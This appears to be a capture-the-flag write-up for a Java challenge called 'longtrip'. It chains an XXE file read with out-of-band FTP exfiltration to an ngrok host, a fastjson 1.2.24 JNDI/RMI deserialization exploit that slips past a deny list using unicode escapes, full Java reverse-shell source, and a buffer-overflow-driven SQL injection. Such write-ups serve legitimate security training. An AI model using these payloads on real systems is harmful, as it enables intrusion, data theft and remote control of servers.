## longtrip ### Solution ![image](https://hackmd.io/_uploads/Sy5Jop7fZl.png) When access to challenge ![image](https://hackmd.io/_uploads/ryomop7GWx.png) There is just an error JAVa page so I will do a little fuzzing using dirsearch ![image](https://hackmd.io/_uploads/HkPvsamM-x.png) Access to /login ![image](https://hackmd.io/_uploads/rJx5jpmMbe.png) Login with admin:1234 we will go to /parse ![image](https://hackmd.io/_uploads/H10oo6XGWg.png) In this page, we will see a simple XML parser website, I think there is a XXE injection bug here. Let's test: ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <person> <Name>Jameson Junior</Name> <age>21</age> <school>UIT</school> <region>HCM</region> <country>&file;</country> </person> ``` ![image](https://hackmd.io/_uploads/BJoXn6XzWl.png) Okay we can read but just a short text of file, this is difficult to exploit if we don't have full content. Now I try to send the content of file via outbound connection using ftp:// protocol: https://github.com/staaldraad/xxeserv * Step 1: we run this application ![image](https://hackmd.io/_uploads/rJOahT7MWe.png) * Step 2: Tunnel the ftp server using ngrok or pinggy.io `ngrok tcp 2121` ![image](https://hackmd.io/_uploads/Byx8G66mzbg.png) * Step 3: Host a web server to serve this dtd file ```xml <!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://0.tcp.ap.ngrok.io:16713/%d;'>"> ``` ![image](https://hackmd.io/_uploads/BJ0J10QMWe.png) * Step 4: Now run this (Note to change your web server URL) ```xml <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "https://test8.threalwinky.id.vn/sp2.dtd"> %asd; %c; ]> <country>&rrr;</country> ``` * Step 5: Check ![image](https://hackmd.io/_uploads/BJJNJRmMZe.png) Now we can read full content of a file Try to read `/proc/self/cwd` is app directory ![image](https://hackmd.io/_uploads/HJ4_y0XGZg.png) Read `/proc/self/cwd/src` ![image](https://hackmd.io/_uploads/rypck0QGWg.png) There are multiple files but I can only read FilterInput.java, NoteServlet.java. Here are they: ```java // FilterInput.java /package org.example.demo; import javax.servlet.*; import javax.servlet.annotation.WebFilter; import javax.servlet.http.*; import java.io.IOException; import java.io.PrintWriter; import java.util.Enumeration; @WebFilter(" /note") public class FilterInput implements Filter { private static final String VALID_REGEX = "^[a-zA-Z0-9{}:\u00C0-\u1EF9\"\\s]+$"; public void init(FilterConfig filterConfig) { System.out.println("[*] Filter init"); } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse) servletResponse; HttpSession session = request.getSession(false); boolean loggedIn = false; if (session != null) { loggedIn = (session.getAttribute("username") != null); } if (!loggedIn){ if(!servletRequest.getParameterNames().hasMoreElements()) { request.setAttribute("errorMessage", "Wrong usrname or password!"); RequestDispatcher dispatcher = request.getRequestDispatcher(" /login.jsp"); dispatcher.forward(request, response); return; } } else { Enumeration<String> enumeration = servletRequest.getParameterNames(); while (enumeration.hasMoreElements()) { String parameterName = enumeration.nextElement(); String paramValue = servletRequest.getParameter(parameterName); / if (paramValue == null || !paramValue.matches(VALID_REGEX)) { if (session != null) { session.invalidate(); } request.setAttribute("errorMessage", "Do not challenge my filter. Input data must be only a-zA-Z and not null!!!"); RequestDispatcher dispatcher = request.getRequestDispatcher(" login.jsp"); dispatcher.forward(request, response); return; } } filterChain.doFilter(servletRequest, servletResponse); } } } ``` ```java //NoteServelet.java /package org.example.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import io.github.cdimascio.dotenv.Dotenv; import java.io.*; import java.util.logging.Logger; import javax.servlet.RequestDispatcher; import javax.servlet.ServletException; import javax.servlet.http.*; import javax.servlet.annotation.*; @WebServlet(name = "NoteServlet", urlPatterns = {"/note/*"}) public class NoteServlet extends HttpServlet { private String secret; private static final Logger logger = Logger.getLogger(NoteServlet.class.getName()); @Override public void init() throws ServletException { Dotenv dotenv = Dotenv.configure().directory(" /opt /tomcat") .load(); secret = dotenv.get("SECRET"); if (secret == null) { throw new ServletException("SECRET env missing!"); } } / hey, local first, remoter private String[] Denlist = new String[]{"TemplatesImpl", "JdbcRowSetImpl","WrapperConnection", "@type", "ldap", "rmi"}; public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { String path = request.getPathInfo(); if (path == null || path.length() <= 1) { request.setAttribute("errorMessage", "Path is empty!"); request.getRequestDispatcher(" /dashboard.jsp").forward(request, response); return; } String key = path.substring(1); if (key.equals(secret)) { String content = RequestContentReader.getContent(request); for(String Den : this.Denlist) { if (content.contains(Den)) { request.setAttribute("errorMessage", "Hacker!!!!"); RequestDispatcher dispatcher = request.getRequestDispatcher(" /dashboard.jsp"); dispatcher.forward(request, response); return; } } / Currently in the build process, temporarily use the feature with note length <10. if (content.length() < 20){ content = "{ note: \""+ content + "\" }"; } try { Object object = JSON.parseObject(content, Object.class, Feature.SupportNonPublicField); request.setAttribute("notes", object); request.getRequestDispatcher(" /dashboard.jsp").forward(request, response); } catch (Exception e) { System.out.printf("error:" + "" + e.getMessage() + "\n"); request.setAttribute("errorMessage", "Something wrong because the system is under development!"); request.getRequestDispatcher(" /dashboard.jsp").forward(request, response); } } else { logger.info("Incoming request path: " + path); request.setAttribute("errorMessage", "Wrong secret!"); request.getRequestDispatcher(" dashboard.jsp").forward(request, response); } } } ``` So after reading the source, we can see an endpoint `/note` which allows only POST method. And it uses fastjson library to convert string to object Let's check more at `file:///proc/self/cwd/webapps/ROOT/WEB-INF/lib` ![image](https://hackmd.io/_uploads/HJgTgR7zbe.png) So it uses fastjson-1.2.24, let's check any CVE related to it: https://www.cvedetails.com/version/764377/Alibaba-Fastjson-1.2.24.html So there is a CVE leads to RCE in this library. POC is here: https://github.com/h0cksr/Fastjson--CVE-2017-18349- but it blocks ```java private String[] Denlist = new String[]{"TemplatesImpl", "JdbcRowSetImpl","WrapperConnection", "@type", "ldap", "rmi"}; ``` -> just bypass using unicode `r` -> `\u0072` Now we can use rmi:// protocol to get RCE, but before this we must leak `secret = dotenv.get("SECRET");` ![image](https://hackmd.io/_uploads/ryxwz07fWg.png) * Step 1: Run RMI server `docker run -it -p 9999:9999 -v "$PWD":/app -w /app eclipse-temurin:8-jdk-jammy java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "https://test8.threalwinky.id.vn/#Exploit" 9999` ![image](https://hackmd.io/_uploads/BJM9ECQMZg.png) * Step 2: Compile this reverse shell source ```java import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Exploit { static { try { String host = "wolcv-14-161-6-190.a.free.pinggy.link"; int port = 46249; String cmd = "sh"; try { Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s = new Socket(host, port); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e) {} } p.destroy(); s.close(); } catch (Exception e) {} }catch (Exception e) {} } } ``` `javac -source 1.8 -target 1.8 Exploit.java ` ![image](https://hackmd.io/_uploads/S1iP70XGbl.png) * Step 3: Host the Exploit class ![image](https://hackmd.io/_uploads/rkOcXAQf-e.png) * Step 4: Send this POST request ``` POST /note/0f55ff9906723c001384135a436e4346 HTTP/1.1 Host: challenge.cnsc.com.vn:31261 Content-Length: 300 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://challenge.cnsc.com.vn:31781 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge.cnsc.com.vn:31781/parse Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=31F81611675D8F90485A78EC8CE54A6D Connection: keep-alive content={"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"\u0072mi://0.tcp.ap.ngrok.io:10239/Exploit","autoCommit":true} ``` And now we get the reverse shell ![image](https://hackmd.io/_uploads/SyMQrRXzZx.png) Download the connectdb file and use IDA to decompile it ```c int __cdecl main(int argc, const char **argv, const char **envp) { const char *v3; // rax char v5[128]; // [rsp+10h] [rbp-1A0h] BYREF const char *v6; // [rsp+90h] [rbp-120h] BYREF __int64 v7; // [rsp+98h] [rbp-118h] BYREF char s[260]; // [rsp+A0h] [rbp-110h] BYREF int v9; // [rsp+1A4h] [rbp-Ch] FILE *stream; // [rsp+1A8h] [rbp-8h] if ( argc <= 1 ) { fprintf(stderr, "Please provide a name as an argument: %s <name>\n", *argv); exit(1); } v6 = 0LL; word_6014E0 = 53; printf("[+] Greeting you: %s\n", argv[1]); printf("[+] Initial 'id' value: %s\n", (const char *)&word_6014E0); strcpy(data, argv[1]); printf("[+] 'id' value after overwrite: %s\n", (const char *)&word_6014E0); snprintf(s, 0x100uLL, "SELECT * FROM joke WHERE id < %s", (const char *)&word_6014E0); stream = fopen("/etc/db.conf", "r"); if ( !stream ) { fwrite("Failed to open /etc/db.conf\n", 1uLL, 0x1CuLL, stderr); exit(1); } if ( !fgets(v5, 128, stream) ) { fwrite("Failed to read database path from /etc/db.conf\n", 1uLL, 0x2FuLL, stderr); fclose(stream); exit(1); } fclose(stream); v5[strcspn(v5, "\n")] = 0; v9 = sqlite3_open_v2(v5, &v7, 1LL, 0LL); if ( v9 ) { v3 = (const char *)sqlite3_errmsg(v7); fprintf(stderr, "Cannot open database: %s\n", v3); sqlite3_close(v7); exit(1); } puts("\n--- QUERY RESULTS ---"); v9 = sqlite3_exec(v7, s, callback, 0LL, &v6); if ( v9 ) { fprintf(stderr, "SQL error: %s\n", v6); sqlite3_free(v6); sqlite3_close(v7); exit(1); } sqlite3_close(v7); return 0; } ``` we can see a buffer overflow bug here can lead to SQL injection ![image](https://hackmd.io/_uploads/ryzxURQfbl.png) Now we need to leak the flag table name and column ``` ./connectdb "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, sql from sqlite_master" ``` ![image](https://hackmd.io/_uploads/B1hN8Amf-g.png) Now capture the flag ``` ./connectdb "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag" ``` ![image](https://hackmd.io/_uploads/rJIILAmGWg.png) ``` ./connectdb "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag" [+] Greeting you: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag [+] Initial 'id' value: 5 [+] 'id' value after overwrite: 1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag --- QUERY RESULTS --- 1 W1{1Ong_trlP-t0-5qll_ABcdEFghA32I53ab0b8} ```